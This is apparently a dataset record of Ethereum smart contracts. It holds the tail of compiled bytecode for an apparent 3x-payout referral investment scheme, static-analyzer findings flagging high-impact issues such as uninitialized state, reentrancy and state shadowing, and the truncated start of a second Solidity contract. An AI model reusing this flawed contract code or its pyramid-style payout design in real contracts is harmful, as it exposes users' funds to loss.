161515151581526020016001820160159054906101000a900460ff161515151581526020016002820154815260200160038201548152505091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826080015160030b14158015611aec575060018260a0015160030b14155b15611da3578160800151836000815181101515611b0557fe5b9060200190602002019060030b908160030b815250508160a00151836001815181101515611b2f57fe5b9060200190602002019060030b908160030b8152505060009050600090505b8251811015611d9a57600660008483815181101515611b6957fe5b9060200190602002015163ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff161515151581526020016002820154815260200160038201548152505091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826080015160030b1480611d7f57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8260a0015160030b145b15611d8d5760009350611db1565b8080600101915050611b4e565b60019350611db1565b60009350611db1565b600093505b505050919050565b600860009054906101000a900460000b81565b601060009054906101000a900460ff1681565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4257600080fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb7906158e3565b60405180910390fd5b6000601254111515611f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efe90615903565b60405180910390fd5b600060125414151561207457600b60049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60009054906101000a900463ffffffff1663ffffffff1614151561207357601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012546040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016120389291906157cf565b600060405180830381600087803b15801561205257600080fd5b505af1158015612066573d6000803e3d6000fd5b5050505060006012819055505b5b50565b6000601354905090565b60018060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030160009054906101000a900460ff16905084565b6120f4614d9c565b600660008363ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff16151515158152602001600282015481526020016003820154815250509050919050565b60606000806060600080600080600660008b63ffffffff1663ffffffff16815260200190815260200160002060000160129054906101000a900460030b965060009550881561231a57600180600860009054906101000a900460000b60000b0160020a03955061231f565b600f95505b8560405190808252806020026020018201604052801561235957816020015b612346614e35565b81526020019060019003908161233e5790505b50945060009350600292506002915060066000600560008a63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff1615151515815260200160028201548152602001600382015481525050858581518110151561255957fe5b9060200190602002018190525083806001019450505b60011561280657600287029650600090505b8263ffffffff168163ffffffff1610156127aa576006600060056000848b0163ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff1615151515815260200160028201548152602001600382015481525050858581518110151561278857fe5b9060200190602002018190525083806001019450508080600101915050612581565b60028302925081806001019250506000151589151514156127de5760088363ffffffff1611156127d957612806565b612801565b600860009054906101000a900460000b60000b8260000b131561280057612806565b5b61256f565b8497505050505050505092915050565b60185481565b601060009054906101000a900460ff1615151561286e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161286590615963565b60405180910390fd5b600660008263ffffffff1663ffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161291790615a03565b60405180910390fd5b612929816112a9565b15612938576129378161405e565b5b50565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561299957600080fd5b601060009054906101000a900460ff1615156129ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e190615983565b60405180910390fd5b60145460095412151515612a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2a90615943565b60405180910390fd5b600090505b828163ffffffff161015612c3b57600015156006600060145463ffffffff1663ffffffff16815260200190815260200160002060010160149054906101000a900460ff161515148015612ac05750600015156006600060145463ffffffff1663ffffffff16815260200190815260200160002060010160159054906101000a900460ff161515145b15612c075760016006600060145463ffffffff1663ffffffff16815260200190815260200160002060010160156101000a81548160ff021916908315150217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6006600060145463ffffffff1663ffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166011546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401612bc19291906157cf565b600060405180830381600087803b158015612bdb57600080fd5b505af1158015612bef573d6000803e3d6000fd5b50505050601360008154809291906001900391905055505b600a546014600082825401925050819055506009546014541315612c2e5760019150612c40565b8080600101915050612a38565b600191505b50919050565b60135481565b600080612c57614d9c565b6060612c61614d9c565b6000806000808a60000b131515612cad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca4906159c3565b60405180910390fd5b612cb689614256565b1515612cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cee906159e3565b60405180910390fd5b612cff614010565b1515612d40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3790615923565b60405180910390fd5b600096505b8960000b8760030b1215613da257601060009054906101000a900460ff16151515612da5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d9c90615923565b60405180910390fd5b612dae896142d9565b1515612db957600080fd5b6001604051908082528060200260200182016040528015612de95781602001602082028038833980820191505090505b5094506001856000815181101515612dfd57fe5b9060200190602002019060030b908160030b815250506001600b60009054906101000a900463ffffffff1663ffffffff1614156133e4576001866000019060030b908160030b815250506000866020019060000b908160000b815250506000866040019060000b908160000b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff866060019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff866080019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8660a0019060030b908160030b8152505060018660c0019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8660e0019060030b908160030b815250503386610100019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001866101200190151590811515815250506001866101400190151590811515815250506000866101600181815250506000866101800181815250508560066000600163ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908360030b63ffffffff16021790555060208201518160000160046101000a81548160ff021916908360000b60ff16021790555060408201518160000160056101000a81548160ff021916908360000b60ff16021790555060608201518160000160066101000a81548163ffffffff021916908360030b63ffffffff160217905550608082015181600001600a6101000a81548163ffffffff021916908360030b63ffffffff16021790555060a082015181600001600e6101000a81548163ffffffff021916908360030b63ffffffff16021790555060c08201518160000160126101000a81548163ffffffff021916908360030b63ffffffff16021790555060e08201518160000160166101000a81548163ffffffff021916908360030b63ffffffff1602179055506101008201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101208201518160010160146101000a81548160ff0219169083151502179055506101408201518160010160156101000a81548160ff021916908315150217905550610160820151816002015561018082015181600301559050508560056000600163ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908360030b63ffffffff16021790555060208201518160000160046101000a81548160ff021916908360000b60ff16021790555060408201518160000160056101000a81548160ff021916908360000b60ff16021790555060608201518160000160066101000a81548163ffffffff021916908360030b63ffffffff160217905550608082015181600001600a6101000a81548163ffffffff021916908360030b63ffffffff16021790555060a082015181600001600e6101000a81548163ffffffff021916908360030b63ffffffff16021790555060c08201518160000160126101000a81548163ffffffff021916908360030b63ffffffff16021790555060e08201518160000160166101000a81548163ffffffff021916908360030b63ffffffff1602179055506101008201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101208201518160010160146101000a81548160ff0219169083151502179055506101408201518160010160156101000a81548160ff021916908315150217905550610160820151816002015561018082015181600301559050506002600b60006101000a81548163ffffffff021916908363ffffffff1602179055505b600a54600960008282540192505081905550600660008a63ffffffff1663ffffffff1681526020019081526020016000206101a060405190810160405290816000820160009054906101000a900460030b60030b60030b81526020016000820160049054906101000a900460000b60000b60000b81526020016000820160059054906101000a900460000b60000b60000b81526020016000820160069054906101000a900460030b60030b60030b815260200160008201600a9054906101000a900460030b60030b60030b815260200160008201600e9054906101000a900460030b60030b60030b81526020016000820160129054906101000a900460030b60030b60030b81526020016000820160169054906101000a900460030b60030b60030b81526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160149054906101000a900460ff161515151581526020016001820160159054906101000a900460ff1615151515815260200160028201548152602001600382015481525050935060009250836020015160000b915060028260030b12156135d6576135cf896146da565b92506135e2565b6135df89614992565b92505b600090507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008563ffffffff1663ffffffff168152602001908152602001600020600001600a9054906101000a900460030b60030b1415156136905760019050600954600660008563ffffffff1663ffffffff168152602001908152602001600020600001600e6101000a81548163ffffffff021916908360030b63ffffffff1602179055506136d7565b600954600660008563ffffffff1663ffffffff168152602001908152602001600020600001600a6101000a81548163ffffffff021916908360030b63ffffffff1602179055505b600954866000019060030b908160030b815250506000866020019060000b908160000b815250506001600660008563ffffffff1663ffffffff16815260200190815260200160002060000160059054906101000a900460000b01866040019060000b908160000b8152505082866060019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff866080019060030b908160030b815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8660a0019060030b908160030b81525050806002600660008663ffffffff1663ffffffff16815260200190815260200160002060000160129054906101000a900460030b0260030b018660c0019060030b908160030b815250503386610100019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050888660e0019060030b908160030b81525050600086610120019015159081151581525050600086610140019015159081151581525050613878614d94565b8661016001818152505061388a614008565b86610180018181525050600860009054906101000a900460000b60000b866040015160000b13156138d8578560400151600860006101000a81548160ff021916908360000b60ff1602179055505b856006600060095463ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908360030b63ffffffff16021790555060208201518160000160046101000a81548160ff021916908360000b60ff16021790555060408201518160000160056101000a81548160ff021916908360000b60ff16021790555060608201518160000160066101000a81548163ffffffff021916908360030b63ffffffff160217905550608082015181600001600a6101000a81548163ffffffff021916908360030b63ffffffff16021790555060a082015181600001600e6101000a81548163ffffffff021916908360030b63ffffffff16021790555060c08201518160000160126101000a81548163ffffffff021916908360030b63ffffffff16021790555060e08201518160000160166101000a81548163ffffffff021916908360030b63ffffffff1602179055506101008201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101208201518160010160146101000a81548160ff0219169083151502179055506101408201518160010160156101000a81548160ff0219169083151502179055506101608201518160020155610180820151816003015590505085600560008860c0015163ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908360030b63ffffffff16021790555060208201518160000160046101000a81548160ff021916908360000b60ff16021790555060408201518160000160056101000a81548160ff021916908360000b60ff16021790555060608201518160000160066101000a81548163ffffffff021916908360030b63ffffffff160217905550608082015181600001600a6101000a81548163ffffffff021916908360030b63ffffffff16021790555060a082015181600001600e6101000a81548163ffffffff021916908360030b63ffffffff16021790555060c08201518160000160126101000a81548163ffffffff021916908360030b63ffffffff16021790555060e08201518160000160166101000a81548163ffffffff021916908360030b63ffffffff1602179055506101008201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506101208201518160010160146101000a81548160ff0219169083151502179055506101408201518160010160156101000a81548160ff02191690831515021790555061016082015181600201556101808201518160030155905050600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208660000151908060018154018082558091505090600182039060005260206000209060089182820401919006600402909192909190916101000a81548163ffffffff021916908360030b63ffffffff160217905550506301e13380613d8e614008565b01600f819055508680600101975050612d45565b600197505050505050505092915050565b60095481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613e1457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613e5057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000601254601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401613f8a919061570f565b602060405180830381600087803b158015613fa457600080fd5b505af1158015613fb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250613fdc9190810190615010565b03905090565b600b60049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b60006001600b60009054906101000a900463ffffffff1663ffffffff16141561403c576001905061405b565b600f54614047614008565b1015614056576001905061405b565b600090505b90565b60001515600660008363ffffffff1663ffffffff16815260200190815260200160002060010160149054906101000a900460ff1615151415156140d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016140cd906158c3565b60405180910390fd5b60001515600660008363ffffffff1663ffffffff16815260200190815260200160002060010160149054906101000a900460ff1615151415614253576001600660008363ffffffff1663ffffffff16815260200190815260200160002060010160146101000a81548160ff021916908315150217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660008463ffffffff1663ffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003601654026040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040161420d9291906157cf565b600060405180830381600087803b15801561422757600080fd5b505af115801561423b573d6000803e3d6000fd5b50505050601360008154809291906001900391905055505b50565b60006001600b60009054906101000a900463ffffffff1663ffffffff16141561428257600190506142d4565b60018263ffffffff16141561429a57600090506142d4565b6000600660008463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b60030b141590505b919050565b6000806000600b60049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561432457600080fd5b339050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e82306040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016143a092919061572a565b602060405180830381600087803b1580156143ba57600080fd5b505af11580156143ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506143f29190810190615010565b601654111561448957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fbf182be802245e8ed88e4b8d3e4344c0863dd2a70334f089fd07265389306fcf60165460405161447c9190615a5f565b60405180910390a3600080fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd82306016546040518463ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040161450693929190615753565b600060405180830381600087803b15801561452057600080fd5b505af1158015614534573d6000803e3d6000fd5b505050503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fd6d3eb25a413c05d8107fc49deb2789bef7f612582b2482804c0b0423b6638ee6016546040516145979190615a5f565b60405180910390a36001600b60009054906101000a900463ffffffff1663ffffffff161415156146b157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660008663ffffffff1663ffffffff16815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166017546040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040161467e9291906157cf565b600060405180830381600087803b15801561469857600080fd5b505af11580156146ac573d6000803e3d6000fd5b505050505b601854601254016012819055506013600081548092919060010191905055506001915050919050565b6000805b60011561477d57600060056000600b60009054906101000a900463ffffffff1663ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b60030b14151561477357600b600081819054906101000a900463ffffffff168092919060010191906101000a81548163ffffffff021916908363ffffffff16021790555050614778565b61477d565b6146de565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905060006002600b60009054906101000a900463ffffffff1663ffffffff168115156147c657fe5b0663ffffffff1614156147ff576002600b60009054906101000a900463ffffffff1663ffffffff168115156147f757fe5b04905061482a565b60026001600b60009054906101000a900463ffffffff160363ffffffff1681151561482657fe5b0490505b600560008263ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9150600660008463ffffffff1663ffffffff168152602001908152602001600020600001600481819054906101000a900460000b8092919060010191906101000a81548160ff021916908360000b60ff16021790555050600b600081819054906101000a900463ffffffff168092919060010191906101000a81548163ffffffff021916908363ffffffff160217905550505b60011561498c57600060056000600b60009054906101000a900463ffffffff1663ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b60030b14151561498257600b600081819054906101000a900463ffffffff168092919060010191906101000a81548163ffffffff021916908363ffffffff16021790555050614987565b61498c565b6148ed565b50919050565b6000806000806000806000600660008963ffffffff1663ffffffff16815260200190815260200160002060000160046101000a81548160ff021916908360000b60ff160217905550600660008863ffffffff1663ffffffff16815260200190815260200160002060000160129054906101000a900460030b9450600660008863ffffffff1663ffffffff16815260200190815260200160002060000160129054906101000a900460030b93505b600115614d89576002850294506001600285020193508463ffffffff16600b60009054906101000a900463ffffffff1663ffffffff161015614b38578492506001858503019150600090505b8163ffffffff168163ffffffff161015614b375760006005600083860163ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b60030b1415614b2a5760056000600283860163ffffffff16811515614af457fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614d8a565b8080600101915050614a8b565b5b600b60009054906101000a900463ffffffff1663ffffffff168563ffffffff161415614bbc57600560006002600b60009054906101000a900463ffffffff1663ffffffff16811515614b8657fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614d8a565b600b60009054906101000a900463ffffffff1663ffffffff168463ffffffff161415614c43576005600060026001600b60009054906101000a900463ffffffff160363ffffffff16811515614c0d57fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614d8a565b8463ffffffff16600b60009054906101000a900463ffffffff1663ffffffff16118015614c8d57508363ffffffff16600b60009054906101000a900463ffffffff1663ffffffff16105b15614d845760006002600b60009054906101000a900463ffffffff1663ffffffff16811515614cb857fe5b0663ffffffff161415614d2357600560006002600b60009054906101000a900463ffffffff1663ffffffff16811515614ced57fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614d8a565b6005600060026001600b60009054906101000a900463ffffffff160363ffffffff16811515614d4e57fe5b0463ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900460030b9550859550614d8a565b614a3f565b5b5050505050919050565b600043905090565b6101a060405190810160405280600060030b81526020016000800b81526020016000800b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160001515815260200160001515815260200160008152602001600081525090565b6101a060405190810160405280600060030b81526020016000800b81526020016000800b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600060030b8152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160001515815260200160001515815260200160008152602001600081525090565b6000614eda8235615b49565b905092915050565b6000614eee8235615b69565b905092915050565b6000614f028235615b75565b905092915050565b6000614f168235615b82565b905092915050565b6000614f2a8251615b82565b905092915050565b6000614f3e8235615b8c565b905092915050565b600060208284031215614f5857600080fd5b6000614f6684828501614ece565b91505092915050565b60008060408385031215614f8257600080fd5b6000614f9085828601614ece565b9250506020614fa185828601614f0a565b9150509250929050565b60008060408385031215614fbe57600080fd5b6000614fcc85828601614ef6565b9250506020614fdd85828601614f32565b9150509250929050565b600060208284031215614ff957600080fd5b600061500784828501614f0a565b91505092915050565b60006020828403121561502257600080fd5b600061503084828501614f1e565b91505092915050565b60006020828403121561504b57600080fd5b600061505984828501614f32565b91505092915050565b6000806040838503121561507557600080fd5b600061508385828601614f32565b925050602061509485828601614ee2565b9150509250929050565b6150a781615adf565b82525050565b60006150b882615aaf565b8084526020840193506150ca83615a95565b60005b828110156150fc576150e0868351615191565b6150e982615ac5565b91506020860195506001810190506150cd565b50849250505092915050565b600061511382615aba565b80845260208401935061512583615aa2565b60005b828110156151585761513b8683516155e6565b61514482615ad2565b91506101a086019550600181019050615128565b50849250505092915050565b61516d81615aff565b82525050565b61517c81615b9c565b82525050565b61518b81615b0b565b82525050565b61519a81615b15565b82525050565b6151a981615b22565b82525050565b6000601f82527f5573657220616c7265616479207265636569766564203378207061796f7574006020830152604082019050919050565b6000602182527f4e6f206d61696e746572206163636f756e742073657420666f72207061796f7560208301527f74000000000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000601b82527f4d61696e746572207061796f75742062616c616e6365206973203000000000006020830152604082019050919050565b6000603f82527f436f6e7472616374207465726d696e617465642e20496e766573746d656e742060208301527f7761732068656c7420666f72206d6f7265207468616e203336352064617973006040830152606082019050919050565b6000601282527f416c6c20757365727320617265207061696400000000000000000000000000006020830152604082019050919050565b6000601582527f436f6e74726163742068617320657870697265642e00000000000000000000006020830152604082019050919050565b6000601782527f436f6e7472616374204973205374696c6c20416c6976650000000000000000006020830152604082019050919050565b6000602782527f436f6e74726163742062616c616e636520697320616c72656164792063616c6360208301527f756c617465642e000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000602082527f4d696e696d756d20496e766573746d656e74205175616e7469747920497320316020830152604082019050919050565b6000601a82527f526566657272616c20496420446f6573204e6f742045786973740000000000006020830152604082019050919050565b6000603182527f4f6e6c79206f776e6572206f662074686520696e766573746d656e742063616e60208301527f20636c61696d203358207061796d656e740000000000000000000000000000006040830152606082019050919050565b6000601282527f436f6e747261637420697320616c6976652e00000000000000000000000000006020830152604082019050919050565b6101a0820160008201516154f26000850182615191565b50602082015161550560208501826151a0565b50604082015161551860408501826151a0565b50606082015161552b6060850182615191565b50608082015161553e6080850182615191565b5060a082015161555160a0850182615191565b5060c082015161556460c0850182615191565b5060e082015161557760e0850182615191565b5061010082015161558c61010085018261509e565b506101208201516155a1610120850182615164565b506101408201516155b6610140850182615164565b506101608201516155cb6101608501826156f1565b506101808201516155e06101808501826156f1565b50505050565b6101a0820160008201516155fd6000850182615191565b50602082015161561060208501826151a0565b50604082015161562360408501826151a0565b5060608201516156366060850182615191565b5060808201516156496080850182615191565b5060a082015161565c60a0850182615191565b5060c082015161566f60c0850182615191565b5060e082015161568260e0850182615191565b5061010082015161569761010085018261509e565b506101208201516156ac610120850182615164565b506101408201516156c1610140850182615164565b506101608201516156d66101608501826156f1565b506101808201516156eb6101808501826156f1565b50505050565b6156fa81615b2f565b82525050565b61570981615b39565b82525050565b6000602082019050615724600083018461509e565b92915050565b600060408201905061573f600083018561509e565b61574c602083018461509e565b9392505050565b6000606082019050615768600083018661509e565b615775602083018561509e565b61578260408301846156f1565b949350505050565b600060808201905061579f600083018761509e565b6157ac602083018661509e565b6157b960408301856156f1565b6157c66060830184615164565b95945050505050565b60006040820190506157e4600083018561509e565b6157f160208301846156f1565b9392505050565b6000602082019050818103600083015261581281846150ad565b905092915050565b600060208201905081810360008301526158348184615108565b905092915050565b60006020820190506158516000830184615164565b92915050565b600060208201905061586c6000830184615173565b92915050565b60006020820190506158876000830184615182565b92915050565b60006020820190506158a26000830184615191565b92915050565b60006020820190506158bd60008301846151a0565b92915050565b600060208201905081810360008301526158dc816151af565b9050919050565b600060208201905081810360008301526158fc816151e6565b9050919050565b6000602082019050818103600083015261591c81615243565b9050919050565b6000602082019050818103600083015261593c8161527a565b9050919050565b6000602082019050818103600083015261595c816152d7565b9050919050565b6000602082019050818103600083015261597c8161530e565b9050919050565b6000602082019050818103600083015261599c81615345565b9050919050565b600060208201905081810360008301526159bc8161537c565b9050919050565b600060208201905081810360008301526159dc816153d9565b9050919050565b600060208201905081810360008301526159fc81615410565b9050919050565b60006020820190508181036000830152615a1c81615447565b9050919050565b60006020820190508181036000830152615a3c816154a4565b9050919050565b60006101a082019050615a5960008301846154db565b92915050565b6000602082019050615a7460008301846156f1565b92915050565b6000602082019050615a8f6000830184615700565b92915050565b6000602082019050919050565b6000602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60008115159050919050565b6000819050919050565b60008160030b9050919050565b60008160000b9050919050565b6000819050919050565b600063ffffffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60008115159050919050565b60008160000b9050919050565b6000819050919050565b600063ffffffff82169050919050565b6000615ba782615adf565b90509190505600a265627a7a7230582059d399dff2e2ab29ec36ef9c77044e63948033621527f19e7a4e1c2bbebab9956c6578706572696d656e74616cf50037
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,605
0xae926fD21C6344BD5071df44CBc024130e606Fcb
pragma solidity 0.4.21; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev revert()s if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } } /** * Math operations with safety checks */ library SafeMath { function mul256(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div256(uint256 a, uint256 b) internal returns (uint256) { require(b > 0); // Solidity automatically revert()s when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't 